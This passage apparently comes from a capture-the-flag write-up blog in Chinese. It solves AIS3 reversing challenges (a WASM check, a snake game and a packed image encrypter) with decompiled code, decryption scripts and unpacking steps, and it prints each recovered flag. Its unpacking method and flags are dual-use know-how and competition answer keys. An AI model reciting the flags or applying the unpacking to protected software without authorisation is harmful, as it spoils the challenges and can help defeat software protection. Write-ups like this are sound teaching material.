class="number">0</span>; i &lt; <span class="number">5</span>; i++) &#123;</span><br><span class="line">    <span class="type">uint64_t</span> chunk = *(<span class="type">uint64_t</span>*)(input + i*<span class="number">8</span>);</span><br><span class="line"></span><br><span class="line">    <span class="type">uint32_t</span> r = (magic &gt;&gt; (i*<span class="number">6</span>)) &amp; <span class="number">63</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">uint64_t</span> rot = (chunk &lt;&lt; r) | (chunk &gt;&gt; (<span class="number">64</span> - r));</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (rot != expected[i]) &#123;</span><br><span class="line">        result = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">goto</span> done;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">result = <span class="number">1</span>;</span><br></pre></td></tr></table></figure></li></ul><p>總結可以寫出解密的script</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">expected = [</span><br><span class="line">    <span class="number">0x69282A668AEF666A</span>,</span><br><span class="line">    <span class="number">0x633525F4D7372337</span>,</span><br><span class="line">    <span class="number">0x9DB9A5A0DCC5DD7D</span>,</span><br><span class="line">    <span class="number">0x9833AFAFB8381A2F</span>,</span><br><span class="line">    <span class="number">0x6FAC8C8726464726</span></span><br><span class="line">]</span><br><span class="line">magic = <span class="number">0xFD9EA72D</span></span><br><span class="line"></span><br><span class="line">mask64 = (<span class="number">1</span> &lt;&lt; <span class="number">64</span>) - <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rotr</span>(<span class="params">x, r</span>):</span><br><span class="line">    <span class="keyword">return</span> ((x &gt;&gt; r) | ((x &lt;&lt; (<span class="number">64</span> - r)) &amp; mask64)) &amp; mask64</span><br><span class="line"></span><br><span class="line">flag_bytes = []</span><br><span class="line"><span class="keyword">for</span> i, exp <span class="keyword">in</span> <span class="built_in">enumerate</span>(expected):</span><br><span class="line">    r = (magic &gt;&gt; (<span class="number">6</span> * i)) &amp; <span class="number">0x3F</span></span><br><span class="line">    chunk = rotr(exp, r)</span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">8</span>):</span><br><span class="line">        flag_bytes.append((chunk &gt;&gt; (<span class="number">8</span> * j)) &amp; <span class="number">0xFF</span>)</span><br><span class="line"></span><br><span class="line">flag = <span class="built_in">bytes</span>(flag_bytes).decode(<span class="string">&#x27;ascii&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(flag)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="/./assets/web2.png" alt="web2"></p><p>:flags:AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}</p><hr><h2 id="A-simple-snake-game"><a href="#A-simple-snake-game" class="headerlink" title="A_simple_snake_game"></a>A_simple_snake_game</h2><p>是一個貪吃蛇遊戲，用ida 反編譯後找一下主要加密函式，找到了draw_text函式</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> __userpurge SnakeGame::Screen::<span class="built_in">drawText</span>(_DWORD *a1@&lt;ecx&gt;, #<span class="number">220</span> *<span class="keyword">this</span>, <span class="type">int</span> a3, <span class="type">int</span> a4)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v4; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> v5; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> v6; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> Error; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> v8; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">char</span> v9; <span class="comment">// [esp+23h] [ebp-F5h]</span></span><br><span class="line">  <span class="type">char</span> lpuexcpt; <span class="comment">// [esp+24h] [ebp-F4h]</span></span><br><span class="line">  <span class="keyword">struct</span> <span class="title class_">_Unwind_Exception</span> *lpuexcpta; <span class="comment">// [esp+24h] [ebp-F4h]</span></span><br><span class="line">  <span class="keyword">struct</span> <span class="title class_">_Unwind_Exception</span> *lpuexcptb; <span class="comment">// [esp+24h] [ebp-F4h]</span></span><br><span class="line">  _DWORD v14[<span class="number">10</span>]; <span class="comment">// [esp+6Dh] [ebp-ABh] BYREF</span></span><br><span class="line">  __int16 v15; <span class="comment">// [esp+95h] [ebp-83h]</span></span><br><span class="line">  <span class="type">char</span> v16; <span class="comment">// [esp+97h] [ebp-81h]</span></span><br><span class="line">  <span class="type">int</span> v17; <span class="comment">// [esp+98h] [ebp-80h]</span></span><br><span class="line">  <span class="type">int</span> v18; <span class="comment">// [esp+9Ch] [ebp-7Ch]</span></span><br><span class="line">  <span class="type">int</span> v19; <span class="comment">// [esp+A0h] [ebp-78h]</span></span><br><span class="line">  <span class="type">int</span> v20; <span class="comment">// [esp+A4h] [ebp-74h]</span></span><br><span class="line">  <span class="type">int</span> v21; <span class="comment">// [esp+A8h] [ebp-70h]</span></span><br><span class="line">  _BYTE v22[<span class="number">24</span>]; <span class="comment">// [esp+ACh] [ebp-6Ch] BYREF</span></span><br><span class="line">  <span class="type">int</span> v23; <span class="comment">// [esp+C4h] [ebp-54h]</span></span><br><span class="line">  <span class="type">int</span> v24; <span class="comment">// [esp+C8h] [ebp-50h]</span></span><br><span class="line">  <span class="type">int</span> v25; <span class="comment">// [esp+CCh] [ebp-4Ch]</span></span><br><span class="line">  <span class="type">int</span> v26; <span class="comment">// [esp+D0h] [ebp-48h]</span></span><br><span class="line">  <span class="type">int</span> v27; <span class="comment">// [esp+D4h] [ebp-44h]</span></span><br><span class="line">  _BYTE v28[<span class="number">27</span>]; <span class="comment">// [esp+D8h] [ebp-40h] BYREF</span></span><br><span class="line">  <span class="type">char</span> v29; <span class="comment">// [esp+F3h] [ebp-25h] BYREF</span></span><br><span class="line">  <span class="type">int</span> TextureFromSurface; <span class="comment">// [esp+F4h] [ebp-24h]</span></span><br><span class="line">  <span class="type">int</span> v31; <span class="comment">// [esp+F8h] [ebp-20h]</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> i; <span class="comment">// [esp+FCh] [ebp-1Ch]</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> ( (<span class="type">int</span>)<span class="keyword">this</span> &lt;= <span class="number">11451419</span> || a3 &lt;= <span class="number">19810</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    SnakeGame::Screen::createText[abi:cxx11](a1, <span class="keyword">this</span>, a3);</span><br><span class="line">    v27 = <span class="number">0xFFFFFF</span>;</span><br><span class="line">    v8 = std::string::<span class="built_in">c_str</span>(v28);</span><br><span class="line">    a1[<span class="number">3</span>] = <span class="built_in">TTF_RenderText_Solid</span>(a1[<span class="number">5</span>], v8, <span class="number">0xFFFFFF</span>);</span><br><span class="line">    a1[<span class="number">4</span>] = <span class="built_in">SDL_CreateTextureFromSurface</span>(a1[<span class="number">1</span>], a1[<span class="number">3</span>]);</span><br><span class="line">    v23 = <span class="number">400</span>;</span><br><span class="line">    v24 = <span class="number">565</span>;</span><br><span class="line">    v25 = <span class="number">320</span>;</span><br><span class="line">    v26 = <span class="number">30</span>;</span><br><span class="line">    <span class="built_in">SDL_RenderCopy</span>(a1[<span class="number">1</span>], a1[<span class="number">4</span>]);</span><br><span class="line">    std::string::~<span class="built_in">string</span>(v28);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    v14[<span class="number">0</span>] = <span class="number">-831958911</span>;</span><br><span class="line">    v14[<span class="number">1</span>] = <span class="number">-1047254091</span>;</span><br><span class="line">    v14[<span class="number">2</span>] = <span class="number">-1014295699</span>;</span><br><span class="line">    v14[<span class="number">3</span>] = <span class="number">-620220219</span>;</span><br><span class="line">    v14[<span class="number">4</span>] = <span class="number">2001515017</span>;</span><br><span class="line">    v14[<span class="number">5</span>] = <span class="number">-317711271</span>;</span><br><span class="line">    v14[<span class="number">6</span>] = <span class="number">1223368792</span>;</span><br><span class="line">    v14[<span class="number">7</span>] = <span class="number">1697251023</span>;</span><br><span class="line">    v14[<span class="number">8</span>] = <span class="number">496855031</span>;</span><br><span class="line">    v14[<span class="number">9</span>] = <span class="number">-569364828</span>;</span><br><span class="line">    v15 = <span class="number">26365</span>;</span><br><span class="line">    v16 = <span class="number">40</span>;</span><br><span class="line">    std::allocator&lt;<span class="type">char</span>&gt;::<span class="built_in">allocator</span>(&amp;v29);</span><br><span class="line">    std::string::<span class="built_in">basic_string</span>(v14, <span class="number">43</span>, &amp;v29);</span><br><span class="line">    std::allocator&lt;<span class="type">char</span>&gt;::~<span class="built_in">allocator</span>(&amp;v29);</span><br><span class="line">    <span class="keyword">for</span> ( i = <span class="number">0</span>; ; ++i )</span><br><span class="line">    &#123;</span><br><span class="line">      v4 = std::string::<span class="built_in">length</span>(v22);</span><br><span class="line">      <span class="keyword">if</span> ( i &gt;= v4 )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      lpuexcpt = *(_BYTE *)std::string::<span class="keyword">operator</span>[](i);</span><br><span class="line">      v9 = SnakeGame::hex_array1[i];</span><br><span class="line">      *(_BYTE *)std::string::<span class="keyword">operator</span>[](i) = v9 ^ lpuexcpt;</span><br><span class="line">    &#125;</span><br><span class="line">    v21 = <span class="number">0xFFFFFF</span>;</span><br><span class="line">    v5 = std::string::<span class="built_in">c_str</span>(v22);</span><br><span class="line">    v31 = <span class="built_in">TTF_RenderText_Solid</span>(a1[<span class="number">5</span>], v5, v21);</span><br><span class="line">    <span class="keyword">if</span> ( v31 )</span><br><span class="line">    &#123;</span><br><span class="line">      TextureFromSurface = <span class="built_in">SDL_CreateTextureFromSurface</span>(a1[<span class="number">1</span>], v31);</span><br><span class="line">      <span class="keyword">if</span> ( TextureFromSurface )</span><br><span class="line">      &#123;</span><br><span class="line">        v17 = <span class="number">200</span>;</span><br><span class="line">        v18 = <span class="number">565</span>;</span><br><span class="line">        v19 = <span class="number">590</span>;</span><br><span class="line">        v20 = <span class="number">30</span>;</span><br><span class="line">        <span class="built_in">SDL_RenderCopy</span>(a1[<span class="number">1</span>], TextureFromSurface);</span><br><span class="line">        <span class="built_in">SDL_FreeSurface</span>(v31);</span><br><span class="line">        <span class="built_in">SDL_DestroyTexture</span>(TextureFromSurface);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">      &#123;</span><br><span class="line">        lpuexcptb = (<span class="keyword">struct</span> _Unwind_Exception *)std::<span class="keyword">operator</span>&lt;&lt;&lt;std::char_traits&lt;<span class="type">char</span>&gt;&gt;(</span><br><span class="line">                                                  &amp;std::cerr,</span><br><span class="line">                                                  <span class="string">&quot;SDL_CreateTextureFromSurface: &quot;</span>);</span><br><span class="line">        Error = <span class="built_in">SDL_GetError</span>();</span><br><span class="line">        std::<span class="keyword">operator</span>&lt;&lt;&lt;std::char_traits&lt;<span class="type">char</span>&gt;&gt;(lpuexcptb, Error);</span><br><span class="line">        std::ostream::<span class="keyword">operator</span>&lt;&lt;(std::endl&lt;<span class="type">char</span>,std::char_traits&lt;<span class="type">char</span>&gt;&gt;);</span><br><span class="line">        <span class="built_in">SDL_FreeSurface</span>(v31);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      lpuexcpta = (<span class="keyword">struct</span> _Unwind_Exception *)std::<span class="keyword">operator</span>&lt;&lt;&lt;std::char_traits&lt;<span class="type">char</span>&gt;&gt;(</span><br><span class="line">                                                &amp;std::cerr,</span><br><span class="line">                                                <span class="string">&quot;TTF_RenderText_Solid: &quot;</span>);</span><br><span class="line">      v6 = <span class="built_in">SDL_GetError</span>();</span><br><span class="line">      std::<span class="keyword">operator</span>&lt;&lt;&lt;std::char_traits&lt;<span class="type">char</span>&gt;&gt;(lpuexcpta, v6);</span><br><span class="line">      std::ostream::<span class="keyword">operator</span>&lt;&lt;(std::endl&lt;<span class="type">char</span>,std::char_traits&lt;<span class="type">char</span>&gt;&gt;);</span><br><span class="line">    &#125;</span><br><span class="line">    std::string::~<span class="built_in">string</span>(v22);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>看起來是進到else條件後會出現flag文字，並且是用XOR加解密</p><p>可以寫出下面的解密script</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line">v14 = [</span><br><span class="line">    -<span class="number">831958911</span>, -<span class="number">1047254091</span>, -<span class="number">1014295699</span>, -<span class="number">620220219</span>,</span><br><span class="line">    <span class="number">2001515017</span>, -<span class="number">317711271</span>, <span class="number">1223368792</span>, <span class="number">1697251023</span>,</span><br><span class="line">    <span class="number">496855031</span>, -<span class="number">569364828</span></span><br><span class="line">]</span><br><span class="line"></span><br><span class="line">raw_bytes = <span class="string">b&#x27;&#x27;</span>.join(struct.pack(<span class="string">&#x27;&lt;I&#x27;</span>, x &amp; <span class="number">0xFFFFFFFF</span>) <span class="keyword">for</span> x <span class="keyword">in</span> v14)</span><br><span class="line">raw_bytes += struct.pack(<span class="string">&#x27;&lt;H&#x27;</span>, <span class="number">26365</span>)</span><br><span class="line">raw_bytes += struct.pack(<span class="string">&#x27;B&#x27;</span>, <span class="number">40</span>)</span><br><span class="line"></span><br><span class="line">key = <span class="built_in">bytes</span>([</span><br><span class="line">    <span class="number">0x0C</span>, <span class="number">0x19</span>, <span class="number">0x3A</span>, <span class="number">0xFD</span>, <span class="number">0xCE</span>, <span class="number">0x68</span>, <span class="number">0xDC</span>, <span class="number">0xF2</span>, <span class="number">0x0C</span>, <span class="number">0x47</span>,</span><br><span class="line">    <span class="number">0xD4</span>, <span class="number">0x86</span>, <span class="number">0xAB</span>, <span class="number">0x57</span>, <span class="number">0x39</span>, <span class="number">0xB5</span>, <span class="number">0x3A</span>, <span class="number">0x8D</span>, <span class="number">0x13</span>, <span class="number">0x47</span>,</span><br><span class="line">    <span class="number">0x3F</span>, <span class="number">0x7F</span>, <span class="number">0x71</span>, <span class="number">0x98</span>, <span class="number">0x6D</span>, <span class="number">0x13</span>, <span class="number">0xB4</span>, <span class="number">0x01</span>, <span class="number">0x90</span>, <span class="number">0x9C</span>,</span><br><span class="line">    <span class="number">0x46</span>, <span class="number">0x3A</span>, <span class="number">0xC6</span>, <span class="number">0x33</span>, <span class="number">0xC2</span>, <span class="number">0x7F</span>, <span class="number">0xDD</span>, <span class="number">0x71</span>, <span class="number">0x78</span>, <span class="number">0x9F</span>,</span><br><span class="line">    <span class="number">0x93</span>, <span class="number">0x22</span>, <span class="number">0x55</span>, <span class="number">0x15</span></span><br><span class="line">])</span><br><span class="line"></span><br><span class="line">decrypted = <span class="built_in">bytes</span>(raw_bytes[i] ^ key[i] <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">43</span>))</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;flag：&quot;</span>, decrypted)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>:flags:AIS3{CH3aT_Eng1n3?_0fcau53_I_bo_1T_by_hAnD}</p><hr><h2 id="verysafe-image-encrypter"><a href="#verysafe-image-encrypter" class="headerlink" title="verysafe_image_encrypter"></a>verysafe_image_encrypter</h2><p>ida 反編譯之後無法辨識，用DIE看一下</p><p><img src="/./assets/pic1.png" alt="pic1"></p><p>發現有加了壓縮殼，並且看起來是自製的殼，因此先利用x64dbg去看哪裡是OEP 並用scylla dump 出脫殼程式</p><p>在找OEP之前可以先用CFF explore 把ASLR關掉</p><p><img src="/./assets/pic2.png" alt="pic2"></p><p>F9執行到這邊後會執行到popad 的下一行<code>jmp dword ptr ss:[esp-24]</code></p><p>jmp之後跳到這邊</p><p><img src="/./assets/pic3.png" alt="pic3"></p><p>在經過一次jmp之後會到這邊</p><p><img src="/./assets/pic4.png" alt="pic4"></p><p>這邊看起來非常像原本程式的OEP，因此401170可以先猜測為OEP</p><p>使用scylla dump 出來 參考：<a href="https://feifeitan.cn/index.php/archives/216/">https://feifeitan.cn/index.php/archives/216/</a></p><p>將dump 出來的用ida反編譯後會得到原本的程式碼</p><p>經過分析後主要圖片加密功能會<code>sub_4018EA</code>中的<code>sub_401520</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">sub_4018EA</span><span class="params">(<span class="type">char</span> a1)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v1; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> v3; <span class="comment">// [esp+0h] [ebp-88h] BYREF</span></span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// [esp+18h] [ebp-70h]</span></span><br><span class="line">  <span class="type">char</span> v5[<span class="number">4</span>]; <span class="comment">// [esp+1Ch] [ebp-6Ch] BYREF</span></span><br><span class="line">  <span class="type">int</span> v6; <span class="comment">// [esp+20h] [ebp-68h]</span></span><br><span class="line">  <span class="type">int</span> (__cdecl *v7)(<span class="type">int</span>, <span class="type">int</span>, <span class="type">int</span>, <span class="type">int</span>, <span class="type">int</span>, <span class="type">int</span>); <span class="comment">// [esp+34h] [ebp-54h]</span></span><br><span class="line">  <span class="type">int</span> *v8; <span class="comment">// [esp+38h] [ebp-50h]</span></span><br><span class="line">  <span class="type">int</span> *v9; <span class="comment">// [esp+3Ch] [ebp-4Ch]</span></span><br><span class="line">  <span class="type">void</span> *v10; <span class="comment">// [esp+40h] [ebp-48h]</span></span><br><span class="line">  <span class="type">int</span> *v11; <span class="comment">// [esp+44h] [ebp-44h]</span></span><br><span class="line">  <span class="type">char</span> v12[<span class="number">16</span>]; <span class="comment">// [esp+58h] [ebp-30h] BYREF</span></span><br><span class="line">  <span class="type">char</span> *v13; <span class="comment">// [esp+68h] [ebp-20h]</span></span><br><span class="line">  <span class="type">char</span> *v14; <span class="comment">// [esp+6Ch] [ebp-1Ch]</span></span><br><span class="line">  <span class="type">char</span> *v15; <span class="comment">// [esp+78h] [ebp-10h]</span></span><br><span class="line">  <span class="type">int</span> savedregs; <span class="comment">// [esp+88h] [ebp+0h] BYREF</span></span><br><span class="line"></span><br><span class="line">  v15 = &amp;a1;</span><br><span class="line">  v7 = sub_4CCCF0;</span><br><span class="line">  v8 = &amp;dword_4CE4D4;</span><br><span class="line">  v9 = &amp;savedregs;</span><br><span class="line">  v10 = &amp;loc_4019D0;</span><br><span class="line">  v11 = &amp;v3;</span><br><span class="line">  sub_40C590(v5);</span><br><span class="line">  sub_40A8B0();</span><br><span class="line">  v14 = aInputImagePng;</span><br><span class="line">  v13 = aEncryptedImage;</span><br><span class="line">  v6 = <span class="number">-1</span>;</span><br><span class="line">  sub_401580(v12, aInputImagePng);</span><br><span class="line">  v12[<span class="number">15</span>] = <span class="number">114</span>;</span><br><span class="line">  sub_401520(v12, <span class="number">114</span>);</span><br><span class="line">  v6 = <span class="number">1</span>;</span><br><span class="line">  sub_40177D(v13, v12);</span><br><span class="line">  v1 = sub_4C87B0(&amp;dword_4D27C0, (<span class="type">char</span> *)dword_4D303C);</span><br><span class="line">  sub_4C87B0(v1, v13);</span><br><span class="line">  sub_47DFC0(sub_4C6890);</span><br><span class="line">  v4 = <span class="number">0</span>;</span><br><span class="line">  sub_4B0FB8(v12);</span><br><span class="line">  sub_40C860(v5);</span><br><span class="line">  <span class="keyword">return</span> v4;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">bool</span> __cdecl <span class="title function_">sub_401520</span><span class="params">(<span class="type">int</span> a1, <span class="type">char</span> a2)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">bool</span> result; <span class="comment">// al</span></span><br><span class="line">  _BYTE *v3; <span class="comment">// eax</span></span><br><span class="line">  _BYTE *v4; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> i; <span class="comment">// [esp+2Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; ; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    result = i &lt; sub_4315C4(a1);</span><br><span class="line">    <span class="keyword">if</span> ( !result )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    v3 = (_BYTE *)sub_4B1020(i);</span><br><span class="line">    *v3 ^= a2;</span><br><span class="line">    v4 = (_BYTE *)sub_4B1020(i);</span><br><span class="line">    *v4 += <span class="number">4</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>很簡單可以看出來他將圖片的每個byte經過0x72的xor之後+4<br>因此可以用以下的script解密出來</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">decrypt</span>(<span class="params">data: <span class="built_in">bytes</span>, key: <span class="built_in">int</span></span>) -&gt; <span class="built_in">bytes</span>:</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">bytes</span>(((c - <span class="number">4</span>) &amp; <span class="number">0xFF</span>) ^ key <span class="keyword">for</span> c <span class="keyword">in</span> data)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    key = <span class="built_in">ord</span>(<span class="string">&#x27;r&#x27;</span>)</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;./encrypted_image.png&#x27;</span>, <span class="string">&#x27;rb&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        cipher = f.read()</span><br><span class="line">        plain = decrypt(cipher, key)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&#x27;&#x27;</span>.join(<span class="string">f&#x27;<span class="subst">&#123;b:02x&#125;</span>&#x27;</span> <span class="keyword">for</span> b <span class="keyword">in</span> plain))</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>將解密出來的16進位丟到cyberchef之後就會得到下面的照片</p><p><img src="/./assets/pic5.png" alt="pic5"></p><p>:flags:AIS3​{rwx_53gm3nttt_s0_5AS}</p><hr><h2 id="BabyUnicorn"><a href="#BabyUnicorn" class="headerlink" title="BabyUnicorn"></a>BabyUnicorn</h2><p>顯示用pwntools 的disassembly 看一下 shellcode</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span 